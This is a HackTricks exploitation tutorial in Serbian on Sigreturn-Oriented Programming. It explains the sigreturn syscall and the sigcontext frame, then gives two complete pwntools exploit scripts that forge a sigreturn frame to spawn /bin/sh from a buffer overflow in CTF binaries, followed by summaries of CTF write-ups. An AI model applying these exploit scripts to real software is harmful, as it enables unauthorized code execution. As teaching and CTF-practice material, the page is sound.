SROP - Sigreturn-Oriented Programming
Reading time: 6 minutes
tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Osnovne informacije
Sigreturn je posebna syscall koja se prvenstveno koristi za čišćenje nakon što signalni handler završi svoju izvršavanje. Signali su prekidi koje operativni sistem šalje programu, često da bi označili da se dogodila neka izuzetna situacija. Kada program primi signal, privremeno pauzira svoj trenutni rad da bi obradio signal pomoću signal handler-a, posebne funkcije dizajnirane za rad sa signalima.
Nakon što signalni handler završi, program treba da nastavi svoje prethodno stanje kao da se ništa nije dogodilo. Tu dolazi do izražaja sigreturn. Pomaže programu da vrati iz signal handler-a i obnavlja stanje programa čišćenjem steka (odeljak memorije koji čuva pozive funkcija i lokalne promenljive) koji je koristio signalni handler.
Zanimljiv deo je kako sigreturn obnavlja stanje programa: to čini tako što čuva sve vrednosti CPU registara na steku. Kada signal više nije blokiran, sigreturn uklanja te vrednosti sa steka, efikasno resetujući registre CPU-a na njihov stanje pre nego što je signal obrađen. Ovo uključuje registar pokazivača steka (RSP), koji pokazuje na trenutni vrh steka.
caution
Pozivanje syscall-a sigreturn iz ROP lanca i dodavanje registarskih vrednosti koje želimo da učitamo u stek omogućava nam da kontrolišemo sve registarske vrednosti i stoga pozovemo na primer syscall execve sa /bin/sh.
Obratite pažnju kako bi ovo bio tip Ret2syscall koji olakšava kontrolu parametara za pozivanje drugih Ret2syscall-a:
Ako vas zanima, ovo je sigcontext struktura koja se čuva na steku da bi se kasnije povratile vrednosti (dijagram iz ovde):
+--------------------+--------------------+
| rt_sigeturn() | uc_flags |
+--------------------+--------------------+
| &uc | uc_stack.ss_sp |
+--------------------+--------------------+
| uc_stack.ss_flags | uc.stack.ss_size |
+--------------------+--------------------+
| r8 | r9 |
+--------------------+--------------------+
| r10 | r11 |
+--------------------+--------------------+
| r12 | r13 |
+--------------------+--------------------+
| r14 | r15 |
+--------------------+--------------------+
| rdi | rsi |
+--------------------+--------------------+
| rbp | rbx |
+--------------------+--------------------+
| rdx | rax |
+--------------------+--------------------+
| rcx | rsp |
+--------------------+--------------------+
| rip | eflags |
+--------------------+--------------------+
| cs / gs / fs | err |
+--------------------+--------------------+
| trapno | oldmask (unused) |
+--------------------+--------------------+
| cr2 (segfault addr)| &fpstate |
+--------------------+--------------------+
| __reserved | sigmask |
+--------------------+--------------------+
Za bolje objašnjenje pogledajte takođe:
Primer
Možete pronaći primer ovde gde je poziv na signeturn konstruisan putem ROP (stavljajući u rxa vrednost 0xf), iako je ovo konačni exploit odatle:
from pwn import *
elf = context.binary = ELF('./vuln', checksec=False)
p = process()
BINSH = elf.address + 0x1250
POP_RAX = 0x41018
SYSCALL_RET = 0x41015
frame = SigreturnFrame()
frame.rax = 0x3b # syscall number for execve
frame.rdi = BINSH # pointer to /bin/sh
frame.rsi = 0x0 # NULL
frame.rdx = 0x0 # NULL
frame.rip = SYSCALL_RET
payload = b'A' * 8
payload += p64(POP_RAX)
payload += p64(0xf) # 0xf is the number of the syscall sigreturn
payload += p64(SYSCALL_RET)
payload += bytes(frame)
p.sendline(payload)
p.interactive()
Proverite takođe eksploit ovde gde je binarni fajl već pozivao sigreturn i stoga nije potrebno to graditi sa ROP:
from pwn import *
# Establish the target
target = process("./small_boi")
#gdb.attach(target, gdbscript = 'b *0x40017c')
#target = remote("pwn.chal.csaw.io", 1002)
# Establish the target architecture
context.arch = "amd64"
# Establish the address of the sigreturn function
sigreturn = p64(0x40017c)
# Start making our sigreturn frame
frame = SigreturnFrame()
frame.rip = 0x400185 # Syscall instruction
frame.rax = 59 # execve syscall
frame.rdi = 0x4001ca # Address of "/bin/sh"
frame.rsi = 0x0 # NULL
frame.rdx = 0x0 # NULL
payload = "0"*0x28 # Offset to return address
payload += sigreturn # Function with sigreturn
payload += str(frame)[8:] # Our sigreturn frame, adjusted for the 8 byte return shift of the stack
target.sendline(payload) # Send the target payload
# Drop to an interactive shell
target.interactive()
Ostali Primeri i Reference
- https://youtu.be/ADULSwnQs-s?feature=shared
- https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop
- https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html
- Assembly binarni kod koji omogućava pisanje na stek i zatim poziva
sigreturnsyscall. Moguće je napisati na stek ret2syscall putem sigreturn strukture i pročitati flag koji se nalazi unutar memorije binarnog koda. - https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html
- Assembly binarni kod koji omogućava pisanje na stek i zatim poziva
sigreturnsyscall. Moguće je napisati na stek ret2syscall putem sigreturn strukture (binarni kod sadrži string/bin/sh). - https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html
- 64 bita, bez relro, bez kanarija, nx, bez pie. Jednostavna buffer overflow koja zloupotrebljava
getsfunkciju sa nedostatkom gadgeta koji izvršava ret2syscall. ROP lanac piše/bin/shu.bssponovnim pozivanjem gets, zloupotrebljavaalarmfunkciju da postavi eax na0xfkako bi pozvao SROP i izvršio shell. - https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html
- 64 bita assembly program, bez relro, bez kanarija, nx, bez pie. Tok omogućava pisanje na stek, kontrolu nekoliko registara, i pozivanje syscall-a, a zatim poziva
exit. Izabrani syscall jesigreturnkoji će postaviti registre i pomeritieipda pozove prethodnu syscall instrukciju i izvršimemprotectda postavi binarni prostor narwxi postavi ESP u binarnom prostoru. Prateći tok, program će ponovo pozvati read u ESP, ali u ovom slučaju ESP će pokazivati na sledeću instrukciju, tako da će prosleđivanje shellcode-a napisati kao sledeću instrukciju i izvršiti je. - https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection
- SROP se koristi za davanje privilegija izvršavanja (memprotect) mestu gde je shellcode postavljen.
tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
HackTricks